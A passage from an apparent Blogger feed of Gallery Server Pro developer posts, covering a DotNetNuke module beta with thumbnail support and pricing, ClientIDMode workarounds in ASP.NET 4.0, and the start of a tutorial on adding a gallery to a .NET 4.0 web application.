far into the future as I am capable of seeing.&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="DNN GSP install 6" border="0" alt="DNN GSP install 6" src="http://lh5.ggpht.com/_qh4427KVFsk/TG6p0djdD5I/AAAAAAAAAOE/2wdFj2IkLHA/DNN%20GSP%20install%206%5B4%5D.png?imgmax=800" width="604" height="417" /&gt; &lt;/p&gt;  &lt;p&gt;The next page shows the results of the installation. Click Return to go back to the Module Definitions page.&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="DNN GSP install 7" border="0" alt="DNN GSP install 7" src="http://lh5.ggpht.com/_qh4427KVFsk/TG6p0jM03gI/AAAAAAAAAOM/2KL_2ZhAqXs/DNN%20GSP%20install%207%5B4%5D.png?imgmax=800" width="604" height="417" /&gt; &lt;/p&gt;  &lt;p&gt;Now that the module is installed, it is time to add it to one of the web pages. For this example, I created a page called Gallery and included it in the menu. From this page, I select the Gallery Server Pro module from the Module dropdown list and click the Add Module button.&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="DNN GSP install 8" border="0" alt="DNN GSP install 8" src="http://lh4.ggpht.com/_qh4427KVFsk/TG6p0296pNI/AAAAAAAAAOQ/kiJI65DEk08/DNN%20GSP%20install%208%5B4%5D.png?imgmax=800" width="604" height="417" /&gt; &lt;/p&gt;  &lt;p&gt;An empty gallery appears.&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="DNN GSP install 9" border="0" alt="DNN GSP install 9" src="http://lh5.ggpht.com/_qh4427KVFsk/TG6p1EjmquI/AAAAAAAAAOU/-5wmfsp7VeI/DNN%20GSP%20install%209%5B4%5D.png?imgmax=800" width="604" height="417" /&gt; &lt;/p&gt;  &lt;p&gt;At this point you can interact with the gallery the same way you do the regular version of Gallery Server Pro. Add albums and upload media files, or copy files to the Portals directory and then synchronize. Refer to the Media Objects – General page in the Site admin area to view and optionally change the directory that contains your media files.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Thumnbails from videos and other file types&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Gallery Server Pro 2.4 now supports the extraction of thumbnail images from virtually all videos, text files, PDF, EPS, and PSD (Photoshop) files. Below is an album showing thumbnails from WMV, AVI, FLV (Flash video), MP4, DIVX, ASF, and MOV. Notice that only the Shockwave Flash file (SWF) does not have a thumbnail.&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="DNN GSP install 10" border="0" alt="DNN GSP install 10" src="http://lh3.ggpht.com/_qh4427KVFsk/TG6p1vWGMcI/AAAAAAAAAOY/efgXomnz_Go/DNN%20GSP%20install%2010%5B4%5D.png?imgmax=800" width="604" height="546" /&gt; &lt;/p&gt;  &lt;p&gt;And here is an album with thumbnails of EPS, PSD, TXT, and PDF files.&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="DNN GSP install 11" border="0" alt="DNN GSP install 11" src="http://lh4.ggpht.com/_qh4427KVFsk/TG6p1-lmijI/AAAAAAAAAOc/Gfe_S69XE7M/DNN%20GSP%20install%2011%5B4%5D.png?imgmax=800" width="604" height="366" /&gt; &lt;/p&gt;  &lt;p&gt;Thumbnail creation is made possible through the use of three open source components:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.imagemagick.org"&gt;ImageMagick&lt;/a&gt; – Creates thumbnail images from EPS, PSD, TXT, and PDF files. It requires GhostScript to be able to create images from EPS and PDF files.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.ghostscript.com/"&gt;GhostScript&lt;/a&gt; – It knows about the internal format of EPS and PDF files.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://ffmpeg.org"&gt;FFmpeg&lt;/a&gt; – Creates thumbnail images from video files.&lt;/p&gt;  &lt;p&gt;These utilities must be installed separately. ImageMagick and FFmpeg are EXE files that can simply be copied into the bin directory of the web application. GhostScript must be installed using a setup program. You can acquire these programs from the sites linked above or from any number of sites that redistribute them. For your convenience, I created a &lt;a href="http://www.galleryserverpro.com/download/GspBinaryPack.zip"&gt;Gallery Server Pro Binary Pack&lt;/a&gt; that includes all three.&lt;/p&gt;  &lt;p&gt;Installing these utilities is optional. If they are not present, Gallery Server Pro falls back to the default technique of using a generic image for the thumbnail.&lt;/p&gt;  &lt;p&gt;This feature will also be included in the stand-alone version of Gallery Server Pro 2.4, which I expect to release shortly after the DotNetNuke module.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Licensing and pricing&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;I would love to use the donation-supported model for the module, just like I do with the regular version of Gallery Server Pro. However, donations have not been sufficient to pay the bills, so in order to be able to continue working on it I need to increase revenue. Using a commercial license for this module while keeping the original version donation-supported and GPL seems like a good way to do it. The vast majority of DotNetNuke modules are commercial, and developers are used to paying a small chunk of money in order to enhance the value of their DotNetNuke sites.&lt;/p&gt;  &lt;p&gt;Therefore I have adopted a pretty standard commercial license and expect to offer two versions of the module. Note that this may change by the final release.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Gallery Server Pro Professional - $69&lt;/strong&gt; Full functionality, unlimited number of media objects, can be installed on unlimited number of portals in a single DotNetNuke installation. No source code.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Gallery Server Pro Enterprise - $199&lt;/strong&gt; Includes all features of the Professional version. Includes source code.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-3107884834969651515?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/3107884834969651515/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=3107884834969651515' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/3107884834969651515'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/3107884834969651515'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2010/08/gallery-server-pro-24-dotnetnuke-module.html' title='Gallery Server Pro 2.4 DotNetNuke Module Beta Released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_qh4427KVFsk/TG6pyd8-cBI/AAAAAAAAANs/8-pnG8EVviA/s72-c/DNN%20home%201%5B4%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-3659320098269122220</id><published>2010-08-03T12:37:00.001-05:00</published><updated>2010-08-03T14:04:48.436-05:00</updated><title type='text'>Adding a gallery in .NET 4.0 without requiring ClientIDMode in web.config</title><content type='html'>&lt;p&gt;My previous blog post described how to &lt;a href="http://www.galleryserverpro.com/blog.aspx?title=Adding-a-gallery-to-your-.NET-4.0-application&amp;amp;id=8128576498873205735"&gt;add a gallery to a default ASP.NET 4.0 application&lt;/a&gt;. However, yesterday I noticed some strange behavior surrounding the new ClientIDMode property in .NET 4.0. It appears that in some cases you may have to specify ClientIDMode=“AutoID” in your application, but it doesn’t have to be in web.config. Read on for the details.&lt;/p&gt;  &lt;p&gt;The tutorial in my previous blog post told you to replace the default web.config file with the .NET 4.0 version that ships with GSP. That version includes a couple attributes to tell GSP to use the legacy 3.5 behavior:&lt;/p&gt;  &lt;div style="font-family: consolas, sans-serif"&gt;&lt;span style="color: blue"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #a31515"&gt;pages&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;#160;&lt;/span&gt;&lt;span style="color: red"&gt;theme&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&amp;quot;&amp;quot;&lt;span style="color: blue"&gt;&amp;#160;&lt;/span&gt;&lt;span style="color: red"&gt;styleSheetTheme&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&amp;quot;&amp;quot;&lt;span style="color: blue"&gt;&amp;#160;&lt;/span&gt;&lt;span style="color: red"&gt;validateRequest&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&amp;quot;&lt;span style="color: blue"&gt;false&lt;/span&gt;&amp;quot;&lt;span style="color: blue"&gt;&amp;#160;&lt;/span&gt;&lt;span style="color: red"&gt;controlRenderingCompatibilityVersion&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&amp;quot;&lt;span style="color: blue"&gt;3.5&lt;/span&gt;&amp;quot;    &lt;br /&gt;&lt;span style="color: blue"&gt;&amp;#160;&lt;/span&gt;&lt;span style="color: red"&gt;clientIDMode&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&amp;quot;&lt;span style="color: blue"&gt;AutoID&lt;/span&gt;&amp;quot; /&lt;span style="color: blue"&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;  &lt;p&gt;If you use controlRenderingCompatibilityVersion and clientIDMode like this, I haven’t noticed any issues with GSP in .NET 4.0. If you are content with this, skip the rest of this post and go have a beer (preferably homebrew). Life is good.&lt;/p&gt;  &lt;p&gt;But your app might be using the new client ID rendering features in .NET 4.0 and you don’t want to specify legacy behavior. Or you just don’t like the idea of putting your whole app in a legacy mode just because a piece needs it.&lt;/p&gt;  &lt;p&gt;As best I can tell, GSP doesn’t need the controlRenderingCompatibilityVersion attribute, so go ahead and change it to “4.0” or delete it altogether. &lt;/p&gt;  &lt;p&gt;But you can’t get rid of ClientIDMode so easily, nor use its default value of Predictable. In a stand-alone version of GSP, I can find one thing that breaks – the rearrange page.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Fixing the code on the Rearrange page&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;One of the really nice functions in GSP is the ability to drag the items in an album to reposition them:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="rearrange1" border="0" alt="rearrange1" src="http://lh4.ggpht.com/_qh4427KVFsk/TFhT3ANnW9I/AAAAAAAAANk/NYcPCBsHlUI/rearrange1%5B4%5D.png?imgmax=800" width="604" height="569" /&gt;&lt;/p&gt;  &lt;p&gt;But when ClientIDMode is left out of web.config or set to Predictable (or Static), you can no longer drag the thumbnails around. This turned out to be pretty easy to fix by changing one line of code in \gs\pages\task\rearrange.ascx:&lt;/p&gt;  &lt;div style="font-family: consolas"&gt;&lt;span style="color: red"&gt;onmousedown&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;quot;&lt;/span&gt;&lt;span style="background: yellow"&gt;&amp;lt;%&lt;/span&gt;&lt;span style="color: blue"&gt;#&lt;/span&gt; Container.ClientID &lt;span style="background: yellow"&gt;%&amp;gt;&lt;/span&gt;&lt;span style="color: blue"&gt;.startDragging(event);&amp;quot;&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;&lt;/span&gt;    &lt;br /&gt;&lt;/div&gt;  &lt;p&gt;Change it to this:&lt;/p&gt;  &lt;div style="font-family: consolas"&gt;&lt;span style="color: red"&gt;onmousedown&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;quot;eval(this.parentNode.parentNode.id + '.startDragging(event);');&amp;quot;&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;&lt;/span&gt;    &lt;br /&gt;&lt;/div&gt;  &lt;p&gt;You can make this change by just editing the file in a text editor like Notepad, and you do not have to recompile the source code. The next version of GSP will incorporate this fix.&lt;/p&gt;  &lt;p&gt;I don’t really understand why the original code fails, since Container.ClientID should return the client-side name of the object. But the reality is that Container.ClientID returns a different ID than what is eventually output to the page, and this makes the javascript unhappy.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Does anything else break?&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Well, it depends. In the stand-alone version of GSP (that is, when the gallery is the entire application), everything else seems to work. But when I add a gallery to an existing site, like I did in the tutorial, at least two of the ComponentArt controls failed – the Grid and Dialog controls. This breaks a bunch of stuff, including the image metadata window and several pages in the Site Admin area. For example, here is the Manage Users page:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="users" border="0" alt="users" src="http://lh5.ggpht.com/_qh4427KVFsk/TFhT3e5fmII/AAAAAAAAANo/so9vzvrU7Pk/users%5B4%5D.png?imgmax=800" width="604" height="514" /&gt; &lt;/p&gt;  &lt;p&gt;I poked around for a bit, and I don’t know why it is failing. It is a mystery why it works when run as stand-alone app but not when added to an existing site. I tried it in both a default VB and C# ASP.NET 4.0 app and got the same (failing) results. If you have any theories let me know.&lt;/p&gt;  &lt;p&gt;But the workaround is easy. Tell the gallery to use ClientIDMode=”AutoID”. This causes ASP.NET to generate client IDs the same way it did in earlier versions of .NET. By default, controls inherit this setting from their parent container, so you can set this once in web.config to get everything working very quickly. But, as I noted earlier, you might not want the entire app to use this mode. That leaves you with a few choices as to where you want to set it:&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Page&lt;/strong&gt; – Choose the .aspx page that contains the gallery and use a page directive to set it:&lt;/p&gt;  &lt;div style="font-family: consolas"&gt;&lt;span style="background: yellow"&gt;&amp;lt;%&lt;/span&gt;&lt;span style="color: blue"&gt;@&lt;/span&gt;&amp;#160;&lt;span style="color: maroon"&gt;Page&lt;/span&gt;&amp;#160;&lt;span style="color: red"&gt;Title&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&amp;#160;&lt;span style="color: red"&gt;Language&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;quot;vb&amp;quot;&lt;/span&gt;&amp;#160;&lt;span style="color: red"&gt;AutoEventWireup&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;quot;false&amp;quot;&lt;/span&gt;&amp;#160;&lt;span style="color: red"&gt;MasterPageFile&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;quot;~/Site.Master&amp;quot;&lt;/span&gt;&amp;#160;&lt;/div&gt;  &lt;div style="font-family: consolas"&gt;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: red"&gt;CodeBehind&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;quot;Gallery.aspx.vb&amp;quot;&lt;/span&gt;&amp;#160;&lt;span style="color: red"&gt;Inherits&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;quot;WebWithGsp.Gallery&amp;quot;&lt;/span&gt;&amp;#160;&lt;span style="color: red"&gt;ClientIDMode&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;quot;AutoID&amp;quot;&lt;/span&gt;&amp;#160;&lt;span style="background: yellow"&gt;%&amp;gt;&lt;/span&gt;    &lt;br /&gt;&lt;/div&gt;  &lt;p&gt;&lt;strong&gt;Gallery control&lt;/strong&gt; – Add the property to the top-level gallery control:&lt;/p&gt;  &lt;div style="font-family: consolas"&gt;&lt;span style="color: blue"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon"&gt;gsp&lt;/span&gt;&lt;span style="color: blue"&gt;:&lt;/span&gt;&lt;span style="color: maroon"&gt;Gallery&lt;/span&gt;&amp;#160;&lt;span style="color: red"&gt;ID&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;quot;&lt;/span&gt;&lt;span style="color: blue"&gt;g&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;quot;&lt;/span&gt;&amp;#160;&lt;span style="color: red"&gt;runat&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;quot;server&amp;quot;&lt;/span&gt;&amp;#160;&lt;span style="color: red"&gt;ClientIDMode&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;quot;AutoID&amp;quot;&lt;/span&gt;&amp;#160;&lt;span style="color: blue"&gt;/&amp;gt;&lt;/span&gt;&amp;#160; &lt;br /&gt;&lt;/div&gt;  &lt;p&gt;&lt;strong&gt;One or more child pages or controls&lt;/strong&gt; – You can add this property to child user controls or server controls. For example, you could set it on the Manage Users page at gs\pages\admin\manageusers.ascx:&lt;/p&gt;  &lt;div style="font-family: consolas"&gt;&lt;span style="background: yellow"&gt;&amp;lt;%&lt;/span&gt;&lt;span style="color: blue"&gt;@&lt;/span&gt;&amp;#160;&lt;span style="color: maroon"&gt;Control&lt;/span&gt;&amp;#160;&lt;span style="color: red"&gt;Language&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;quot;C#&amp;quot;&lt;/span&gt;&amp;#160;&lt;span style="color: red"&gt;AutoEventWireup&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;&amp;#160;&lt;span style="color: red"&gt;CodeBehind&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;quot;manageusers.ascx.cs&amp;quot;&lt;/span&gt;    &lt;br /&gt;&lt;span style="color: red"&gt;Inherits&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;quot;GalleryServerPro.Web.gs.pages.admin.manageusers&amp;quot;&lt;/span&gt;&amp;#160;&lt;span style="color: red"&gt;ClientIDMode&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;quot;AutoID&amp;quot;&lt;/span&gt;&amp;#160;&lt;span style="background: yellow"&gt;%&amp;gt;&lt;/span&gt;&lt;/div&gt;  &lt;p&gt;But you would have to do it multiple times, which can be error prone (you might miss a few). Don’t do this. Just choose one of the top-level locations – web.config, .aspx page, or Gallery control, and set it there. Do it once and you are done. As with the edit to the rearrange page, you do not need to recompile the source code.&lt;/p&gt;  &lt;p&gt;Hope this helps.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-3659320098269122220?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/3659320098269122220/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=3659320098269122220' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/3659320098269122220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/3659320098269122220'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2010/08/adding-gallery-in-net-40-without.html' title='Adding a gallery in .NET 4.0 without requiring ClientIDMode in web.config'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_qh4427KVFsk/TFhT3ANnW9I/AAAAAAAAANk/NYcPCBsHlUI/s72-c/rearrange1%5B4%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-8128576498873205735</id><published>2010-07-26T16:44:00.001-05:00</published><updated>2010-08-03T14:06:29.652-05:00</updated><title type='text'>Adding a gallery to your .NET 4.0 application</title><content type='html'>&lt;p&gt;After a frustrated user &lt;a href="http://www.galleryserverpro.com/forum/yaf_postst1187_Integration-w-existing-aspnet-4-VS2010-vb-web-application.aspx"&gt;posted his troubles&lt;/a&gt; getting GSP to work in a .NET 4.0 application, I thought I would dig into it to see what was going on. I have step by step directions for Visual Studio 2008 in the Admin Guide, but it turns out they don’t quite work for Visual Studio 2010. I also felt I could improve upon the explanation that is in the Admin Guide, so I decided to completely rewrite it in this blog post. Eventually I will update the Admin Guide to include this information.&lt;/p&gt;  &lt;p&gt;I will create a default .NET 4.0 web application and then add a gallery to it. These steps are largely the same for Visual Studio 2005 and 2008, too.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.galleryserverpro.com/download/DotNet4WebAppWithGsp.zip"&gt;Download the sample application&lt;/a&gt; I created for this post. A couple notes: (1) Log in to the gallery with username Admin (password=111). (2) For demonstration purposes, it includes the latest release of the AJAX Control Toolkit, not the version that ships with GSP.&lt;/p&gt;  &lt;p&gt;&lt;font size="4"&gt;&lt;strong&gt;Integration strategies&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;First, let’s review the ways one can add a gallery into an existing ASP.NET app, in order from least coupled to most coupled:&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;1. Deploy the GSP support files and DLLs and don’t use assembly references&lt;/strong&gt; – The contents of the gs directory are deployed to your server but not included as content files in your Visual Studio project. The GSP assemblies are deployed to the bin directory but not referenced by the project. The only parts of your project that are “aware” of GSP are: (1) App_GlobalResources contains the resource file GalleryServerPro.resx, (2) web.config contains the required GSP configuration, (3) the web page for the gallery contains a Register tag for the GSP user control and, of course, the Gallery user control itself.&lt;/p&gt;  &lt;p&gt;The advantage of this approach are:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;You can add a gallery to your site without having to recompile it. &lt;/li&gt;    &lt;li&gt;You can update to new versions of GSP without having to recompile – just copy the new files to your server. &lt;/li&gt;    &lt;li&gt;Your Visual Studio project has minimal knowledge of GSP, which helps to keep things clean and allows you to focus on your application without thinking too much about GSP. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;The disadvantages of this approach are:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;You cannot use the GSP API (which may be used in advanced customization scenarios). &lt;/li&gt;    &lt;li&gt;You no longer have your entire app contained within a single project, which makes management more difficult. &lt;/li&gt;    &lt;li&gt;You cannot use the built-in publishing functionality in Visual Studio to deploy your app. Well, not the GSP portion anyway. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;This is the approach I use for the demo gallery on &lt;a href="http://www.galleryserverpro.com"&gt;www.galleryserverpro.com&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;2. Include the files as part of the Visual Studio solution, but don’t reference the GSP DLLs&lt;/strong&gt; – Copy the gs directory and other files into your app and make them part of your solution/project. This is the method documented in the Admin Guide. It has the advantage of keeping everything organized in one project, which allows for simple source control and deployment, but tends to clutter up your app with GSP dependencies that can be a distraction.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;3. Same as above, but also reference the GSP DLLs&lt;/strong&gt; - Copy the files into your app and make them part of your solution/project. Add references to the GSP assemblies to make your app aware of GSP. This is required when you use the API in advanced scenarios (for example, if you want to create your own upload page and add media objects yourself). But doing this in .NET versions higher than 2.0 will often give you compile errors. They are all solvable without too much work, but they can be a hassle.&lt;/p&gt;  &lt;p&gt;&lt;font size="4"&gt;&lt;strong&gt;Step by step: Adding a gallery&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;Each strategy can be the right solution depending on your requirements. Unless you intend to use the GSP API, most developers will want to use the first or second technique.&lt;/p&gt;  &lt;p&gt;Here are step by step directions for adding a gallery to an existing .NET 4.0 application using the first strategy. In this example, I’ll use Visual Studio 2010 Ultimate to add a gallery to a default ASP.NET application. Just for fun, I am using a Visual Basic project, which works great even though GSP is written in C#. I believe the steps are the same for all web-enabled versions of Visual Studio, including the free Express one.&lt;/p&gt;  &lt;p&gt;Note: By default, Visual Studio creates pages that require compilation, but at the end of this post I’ll show how to create pages that don’t require compilation, thus providing you with the no-compile advantage I mentioned above.&lt;/p&gt;  &lt;p&gt;Note: If you already have an existing web app, skip to step # 3.&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;     &lt;p&gt;Use Visual Studio 2010 to create a new ASP.NET 4.0 application using the ASP.NET Web Application template. Here I am using Visual Basic, but you can use another language. &lt;/p&gt;      &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dotnet4_1" border="0" alt="dotnet4_1" src="http://lh4.ggpht.com/_qh4427KVFsk/TE4BmHzdrHI/AAAAAAAAAM4/l7tp7U7FLE0/dotnet4_1%5B4%5D.png?imgmax=800" width="704" height="487" /&gt;&lt;/p&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;p&gt;The project will be created. In Solution Explorer, right click Default.aspx and choose View in Browser. The home page appears: &lt;/p&gt;      &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dotnet4_2" border="0" alt="dotnet4_2" src="http://lh6.ggpht.com/_qh4427KVFsk/TE4Bmnz1loI/AAAAAAAAAM8/gXH1e0MrhBw/dotnet4_2%5B4%5D.png?imgmax=800" width="704" height="483" /&gt;&lt;/p&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;p&gt;Okay! We have a working ASP.NET 4.0 app. Now we want to add a gallery to it. If you do not have an App_GlobalResources directory in your application, create one by using Visual Studio to right click the web project node in the Solution Explorer and choosing Add - Add ASP.NET Folder - App_GlobalResources. Similarly, add an App_Data folder if your project does not have one.&lt;/p&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;p&gt;Download the compiled version of Gallery Server Pro and extract the contents to a temporary directory. Use Windows Explorer to copy the following items: &lt;/p&gt;      &lt;ol style="list-style-type: lower-alpha"&gt;       &lt;li&gt;Copy the gs directory into your ASP.NET app. It should be at the same level as your other top-level directories, such as App_Data. &lt;/li&gt;        &lt;li&gt;Copy the contents of the bin directory into your bin directory. &lt;/li&gt;        &lt;li&gt;Copy GalleryServerPro.resx from App_GlobalResources into the same directory in your app. &lt;/li&gt;        &lt;li&gt;Copy galleryserverpro_data.sqlite from App_Data into the same directory in your app (not necessary if you use SQL Server). &lt;/li&gt;        &lt;li&gt;Copy web_4.0.config into the root of your app. Delete the existing web.config and rename web_4.0.config to web.config. NOTE: Your web.config may have settings you need to preserve, so you may need to manually merge the two instead. &lt;/li&gt;     &lt;/ol&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;p&gt;Create a new web page to hold the gallery. In this example, I created a page named Gallery.aspx from the Web Form Using Master Page template and then selected Site.Master for the master page. At the top of the page add a line to tell the page where the Gallery user control is defined: &lt;/p&gt;      &lt;p&gt;&amp;lt;%@ Register TagPrefix=&amp;quot;gsp&amp;quot; Namespace=&amp;quot;GalleryServerPro.Web&amp;quot; Assembly=&amp;quot;GalleryServerPro.Web&amp;quot; %&amp;gt;&lt;/p&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;p&gt;Then add the user control somewhere in the body of the page: &lt;/p&gt;      &lt;p&gt;&amp;lt;gsp:Gallery ID=&amp;quot;g&amp;quot; runat=&amp;quot;server&amp;quot; /&amp;gt; &lt;/p&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;p&gt;Compile the application. You will probably get the compilation error “Type ‘GalleryServerPro.Web.Gallery’ is not defined”, as seen here: &lt;/p&gt;      &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dotnet4_3" border="0" alt="dotnet4_3" src="http://lh4.ggpht.com/_qh4427KVFsk/TE4BnKTxiAI/AAAAAAAAANA/AStBFO4bYGQ/dotnet4_3%5B4%5D.png?imgmax=800" width="704" height="481" /&gt; &lt;/p&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;p&gt;This error is not covered in the Admin Guide because it never happened under Visual Studio 2008. The reason for this error is because Visual Studio added a definition for the control in the page’s designer file and the compiler doesn’t know where the user control is defined. This doesn’t seem right to me - I would argue that it should know where it is because we explicitly defined it in the &amp;lt;%@ Register … /&amp;gt; tag.&lt;/p&gt;   &lt;/li&gt;    &lt;li&gt;But no matter, because we can easily fix it. Double click the error to show the offending code:      &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dotnet4_4" border="0" alt="dotnet4_4" src="http://lh6.ggpht.com/_qh4427KVFsk/TE4Bn2sUAeI/AAAAAAAAANE/kfSgmFUnjJk/dotnet4_4%5B4%5D.png?imgmax=800" width="704" height="481" /&gt; &lt;/p&gt;   &lt;/li&gt;    &lt;li&gt;Delete the line that is causing the error. As best I can tell there are no harmful consequences to removing it. The page will look like this when you are done:      